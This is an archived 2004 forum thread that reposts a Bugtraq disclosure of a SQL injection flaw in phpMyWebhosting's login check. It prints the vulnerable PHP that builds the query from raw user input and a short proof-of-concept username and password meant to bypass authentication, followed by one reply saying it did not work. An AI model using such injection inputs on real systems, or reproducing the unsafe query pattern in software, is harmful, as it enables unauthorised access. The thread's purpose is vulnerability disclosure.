Posible Security Bug In Phpmywebhosting

Full Version: Posible Security Bug In Phpmywebhosting

GovernmentSecurity.org > The Archives > Exploit Articles

qcred11

Aug 14 2004, 10:43 PM

QUOTE

Hi all.
There is a posible security bug in the phpMyWebhosting
(http://sourceforge.net/projects/phpmywebhosting/)

File: includes/functions/pmwh.php

Function: test

Code:
- ------------------------------------------------------------------------
......
if ( isset($_POST['password']) && ($_POST['password'] != "")) {
$query = 'SELECT * FROM customers WHERE customer = "' . $user . '" AND
password = password("' . $_POST['password'] . '")';
$check_pwd=sql_query($query);
$num_rows=sql_num_rows($check_pwd);

if ($num_rows!=1) {
echo "<center><h2>Wrong Password</h2></center><br>";
return false;
} else ........
- ------------------------------------------------------------------------
Proof of concept: try using

usr: admin"-(
pass: "asdfasdf

Cheers.

Matias Neiff

Source: http://seclists.org/lists/bugtraq/2004/Aug/0211.html

aapje

Aug 15 2004, 10:48 AM

doesn work for me

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.